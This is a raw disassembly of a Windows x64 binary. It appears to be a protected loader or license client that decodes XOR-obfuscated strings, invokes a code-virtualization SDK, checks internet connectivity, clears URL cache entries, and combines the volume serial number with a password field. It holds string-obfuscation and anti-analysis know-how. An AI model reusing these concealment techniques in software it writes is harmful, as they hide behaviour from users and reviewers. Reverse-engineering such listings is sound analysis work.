mov rcx, qword [0x140086d30]
call fcn.140012400
lea rcx, [rbp + 0x2a0]
mov dword [rbp + 0x2a0], 0x42900000
mov dword [rbp + 0x2a4], 0x42f40000
call fcn.140013890
mov eax, dword [str.SX7]
lea rdx, [rbp + 0x2a8]
mov dword [rbp + 0x140], eax
lea rcx, [rbp + 0x140]
movzx eax, word [0x1400781f4]
xor r8d, r8d
xor byte [rbp + 0x141], 0x33
xor byte [rbp + 0x142], 0x34
xor byte [rbp + 0x143], 0x35
mov word [rbp + 0x144], ax
xor al, 0x36
xor byte [rbp + 0x145], 0x37
mov byte [rbp + 0x144], al
mov dword [rbp + 0x2a8], 0x42f60000
mov dword [rbp + 0x2ac], 0x41c80000
mov byte [rbp + 0x140], 0x4c
call fcn.1400436c0
test al, al
je 0x140054624
mov byte [0x140086dff], 1
mov rcx, qword [0x140086d30]
call fcn.140012400
lea rcx, [rbp + 0x2b0]
mov dword [rbp + 0x2b0], 0x42900000
mov dword [rbp + 0x2b4], 0x43170000
call fcn.140013890
mov eax, dword [0x140078110]
lea rdx, [rbp + 0x2b8]
mov dword [rbp + 0x130], eax
lea rcx, [rbp + 0x130]
movzx eax, byte [0x140078114]
xor r8d, r8d
xor byte [rbp + 0x131], 0x33
xor al, 0x36
xor byte [rbp + 0x132], 0x34
xor byte [rbp + 0x133], 0x35
mov byte [rbp + 0x134], al
mov dword [rbp + 0x2b8], 0x42f60000
mov dword [rbp + 0x2bc], 0x41c80000
mov byte [rbp + 0x130], 0x45
call fcn.1400436c0
test al, al
jne 0x14005d687
call fcn.140011990
cmp byte [0x140086dff], r15b
je 0x14005797f
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_1]
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_27]
mov eax, dword [str._RGP6]
lea rcx, [rbp + 0x138]
mov dword [rbp + 0x138], eax
xor edx, edx
movzx eax, byte [0x140077c88]
mov r8d, 0xc003b
xor byte [rbp + 0x139], 0x33
xor al, 0x36
xor byte [rbp + 0x13a], 0x34
xor byte [rbp + 0x13b], 0x35
mov byte [rbp + 0x13c], al
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
mov byte [rbp + 0x138], 0x52
call fcn.14000e7c0
xor edx, edx
mov dword [rbp + 0x2c0], 0x43960000
lea rcx, [rbp + 0x2c0]
mov dword [rbp + 0x2c4], 0x43520000
call fcn.140012a40
movss xmm2, dword [0x1400785a0]
lea rcx, [rbp + 0x2c8]
movss xmm1, dword [0x140078598]
call fcn.140001080
mov rcx, rax
call fcn.140013890
movss xmm2, dword [0x140078640]
lea rcx, [rbp + 0x2e0]
movss xmm1, dword [0x14007866c]
xorps xmm0, xmm0
movups xmmword [rbp + 0x9d0], xmm0
mov dword [rbp + 0x2d0], 0x3f800000
movdqa xmm0, xmmword [0x140078a70]
movups xmmword [rbp + 0x9e0], xmm0
mov dword [rbp + 0x2d4], 0x3f800000
mov qword [rbp + 0x2d8], r15
call fcn.140001080
lea rcx, [rbp + 0x9d0]
mov rdx, rax
mov qword [rsp + 0x28], rcx
lea r9, [rbp + 0x2d0]
lea rcx, [rbp + 0x9e0]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x2d8]
mov rcx, qword [rbp + 0x3950]
call fcn.140045500
movzx eax, byte [0x140086d19]
test al, al
jne 0x140054a57
movss xmm2, dword [0x140078618]
lea rcx, [rbp + 0x2e8]
movss xmm1, dword [0x14007862c]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d80]
call fcn.140012400
movss xmm0, dword [0x140086264]
lea rcx, [rbp + 0x9f0]
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm15
movaps xmm1, xmm15
call fcn.140001090
mov rdx, rax
xor ecx, ecx
call fcn.1400033a0
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x19]
call fcn.140062d30
mov r10, rax
cmp byte [rax + 0xd], r15b
je 0x1400549a1
mov r8d, r15d
cmp r13d, 2
jl 0x14005495d
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140054970
mov rcx, r10
call fcn.140042da0
mov ecx, 1
call fcn.140003400
cmp byte [0x140086e3e], r15b
mov eax, r15d
je 0x1400549f1
movss xmm0, dword [0x140086264]
subss xmm0, dword [0x1400784c8]
comiss xmm13, xmm0
seta al
movd xmm2, eax
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm0
addss xmm2, xmm0
comiss xmm2, dword [0x1400784ec]
seta al
jmp 0x140054a26
movss xmm2, dword [0x140086264]
addss xmm2, dword [0x1400784c8]
comiss xmm2, xmm10
movaps xmm0, xmm2
subss xmm0, xmm10
seta al
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
subss xmm2, xmm1
comiss xmm2, xmm10
setae al
mov byte [0x140086e3e], al
mov eax, dword [0x140086e34]
inc eax
movss dword [0x140086264], xmm2
mov dword [0x140086e34], eax
cmp eax, 0x32
jl 0x14005796e
mov byte [0x140086d19], 1
jmp 0x14005796e
cmp al, 1
jne 0x14005796e
lea rdx, [rbp + 0xdd8]
lea rcx, [rbp + 0x1a]
call fcn.140062d60
mov r10, rax
cmp byte [rax + 0x12], r15b
je 0x140054bd1
mov r8d, r15d
cmp r13d, 2
jl 0x140054b8d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140054aa0
cmp r8d, 0x13
jge 0x140054bd1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140054ba0
xor r8d, r8d
mov edx, 1
mov rcx, r10
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
je 0x140060321
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0x1b]
call fcn.140062d60
mov r10, rax
cmp byte [rax + 0x12], r15b
je 0x140054d51
mov r8d, r15d
cmp r13d, 2
jl 0x140054d0d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140054c20
cmp r8d, 0x13
jge 0x140054d51
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140054d20
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov qword [rbp], rdi
lea rdx, [rbp + 0x38a0]
mov rax, qword [rbp]
lea rcx, [rbp + 0x1448]
mov qword [rbp + 0x38a0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x38a8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x38b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38b8], rax
movabs rax, 0x70b69ff7b9b24a2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38c0], rax
movabs rax, 0xf4728258ba062423
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38c8], rax
movabs rax, 0x24a94dbd48c80125
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e60], rax
movabs rax, 0xb927fa44c1a37a96
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e68], rax
movabs rax, 0x9232794b169da14f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e70], rax
movabs rax, 0xec03e2aad353fe48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e78], rax
movabs rax, 0x3c4fa81e6c02f49
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e80], rax
movabs rax, 0xf402ea2894684b4a
mov qword [rbp], rax
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x3e60]
vpxor ymm1, ymm0, ymmword [rbp + 0x38a0]
mov qword [rbp + 0x3e88], rax
vmovdqa xmm2, xmmword [rbp + 0x3e80]
vxorps xmm2, xmm2, xmmword [rbp + 0x38c0]
vmovdqa xmmword [rbp + 0x38c0], xmm2
vmovdqa ymmword [rbp + 0x38a0], ymm1
vzeroupper
call fcn.140064bd0
mov rdx, rax
lea rcx, [rbp + 0x1468]
call fcn.140051cd0
lea rdx, [0x140074ba0]
mov rcx, rax
call fcn.140065700
lea rcx, [rbp + 0x1468]
movzx ebx, al
call fcn.140064ae0
test bl, bl
je 0x140060321
lea rdx, [rbp + 0x3680]
lea rcx, [rbp + 0x1c]
call fcn.140062d90
mov r10, rax
cmp byte [rax + 0x2f], r15b
je 0x140055031
cmp r13d, 2
jl 0x140054ff7
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x30
jl 0x140054f10
jmp 0x140055031
mov r9, r10
mov r8d, r15d
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x140055000
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov qword [rbp], rdi
lea rdx, [rbp + 0x38e0]
mov rax, qword [rbp]
lea rcx, [rbp + 0x1488]
mov qword [rbp + 0x38e0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x38e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x38f0], rax
movabs rax, 0x8d6c8e85a0368a29
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38f8], rax
movabs rax, 0x77a58ef2b9b24a2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3900], rax
movabs rax, 0xf4029a40e446383f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3908], rax
movabs rax, 0x24a94dbd48c80125
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ea0], rax
movabs rax, 0xb927fa44c1a37a96
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ea8], rax
movabs rax, 0x9232794b169da14f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3eb0], rax
movabs rax, 0xec03e2aad353fe48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3eb8], rax
movabs rax, 0x3c4fa81e6c02f49
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ec0], rax
movabs rax, 0xf402ea2894684b4a
mov qword [rbp], rax
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x3900]
vmovdqu ymm0, ymmword [rbp + 0x3ea0]
vpxor ymm1, ymm0, ymmword [rbp + 0x38e0]
mov qword [rbp + 0x3ec8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x3ec0]
vmovdqa ymmword [rbp + 0x38e0], ymm1
vmovdqa xmmword [rbp + 0x3900], xmm2
vzeroupper
call fcn.140064bd0
mov rdx, rax
lea rcx, [rbp + 0x14a8]
call fcn.140051cd0
mov rcx, rax
lea rdx, [0x140074ba0]
call fcn.140065700
lea rcx, [rbp + 0x14a8]
movzx ebx, al
call fcn.140064ae0
test bl, bl
je 0x140060321
lea rdx, [rbp + 0x35b8]
lea rcx, [rbp + 0x1d]
call fcn.140062dc0
mov r10, rax
cmp byte [rax + 0x2e], r15b
je 0x140055331
mov r8d, r15d
cmp r13d, 2
jl 0x1400552ed
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140055200
cmp r8d, 0x2f
jge 0x140055331
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x140055300
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rcx, [rbp + 0x14c8]
call fcn.140053060
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x1e]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x140055401
cmp r13d, 2
jl 0x1400553c5
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x140055401
mov r9, r10
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x1400553d0
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x3920]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x14005546e
mov edx, dword [rbp + 0x3920]
lea rcx, [rbp + 0x1508]
lea rbx, [rbp + 0x14e8]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x1528]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x14e8]
call fcn.1400675e0
jmp 0x140055481
lea rcx, [rbp + 0x1548]
lea rbx, [rbp + 0x1548]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x14c8]
call fcn.140064b40
mov rcx, rbx
call fcn.140064ae0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x1f]
call fcn.140062e80
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400554cd
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1568]
call fcn.140064bd0
lea rdx, [rbp + 0x660]
mov rdi, rax
lea rcx, [rbp + 0x20]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140055524
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x1588]
call fcn.140064bd0
lea rdx, [rbp + 0x3438]
mov rbx, rax
lea rcx, [rbp + 0x21]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x1400556a1
mov r8d, r15d
cmp r13d, 2
jl 0x14005565d
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140055570
cmp r8d, 0x2d
jge 0x1400556a1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140055670
mov rdx, r10
lea rcx, [rbp + 0x15a8]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x15c8]
call fcn.1400655a0
mov r8, rbx
lea rcx, [rbp + 0x15e8]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x1608]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x1628]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x14c8]
mov rdx, rax
lea rcx, [rbp + 0x1648]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3bd0]
call fcn.140051cd0
lea rcx, [rbp + 0x1628]
call fcn.140064ae0
lea rcx, [rbp + 0x1608]
call fcn.140064ae0
lea rcx, [rbp + 0x15e8]
call fcn.140064ae0
lea rcx, [rbp + 0x15c8]
call fcn.140064ae0
lea rcx, [rbp + 0x15a8]
call fcn.140064ae0
lea rcx, [rbp + 0x1588]
call fcn.140064ae0
lea rcx, [rbp + 0x1568]
call fcn.140064ae0
lea rcx, [rbp + 0x14c8]
call fcn.140064ae0
lea rdx, [rbp + 0x3288]
lea rcx, [rbp + 0x22]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x1400558f1
mov r8d, r15d
cmp r13d, 2
jl 0x1400558ad
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x1400557c0
cmp r8d, 0x2d
jge 0x1400558f1
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x1400558c0
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov edx, Ordinal_27
lea rcx, [rbp + 0x39d8]
call fcn.140050a00
lea rdx, [rbp + 0xbc]
lea rcx, [rbp + 0x23]
call fcn.140062eb0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14005592c
xor byte [rax], 0x32
xor cl, 0x33
mov byte [rax + 1], cl
mov rdx, rax
lea rcx, [rbp + 0x1688]
call fcn.140064bd0
mov edx, Ordinal_27
lea rcx, [rbp + 0x39d8]
mov rsi, rax
call fcn.140050a00
lea rcx, [rbp + 0x39d8]
call fcn.1400648b0
mov rbx, r15
nop
mov r8, rbx
lea rcx, [rbp + 0x3bd0]
mov rdx, rsi
call fcn.140064930
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14005598a
lea rcx, [rbp + 0x3bd0]
call fcn.140064a40
mov rdi, rax
mov r9, rdi
lea rdx, [rbp + 0x3b70]
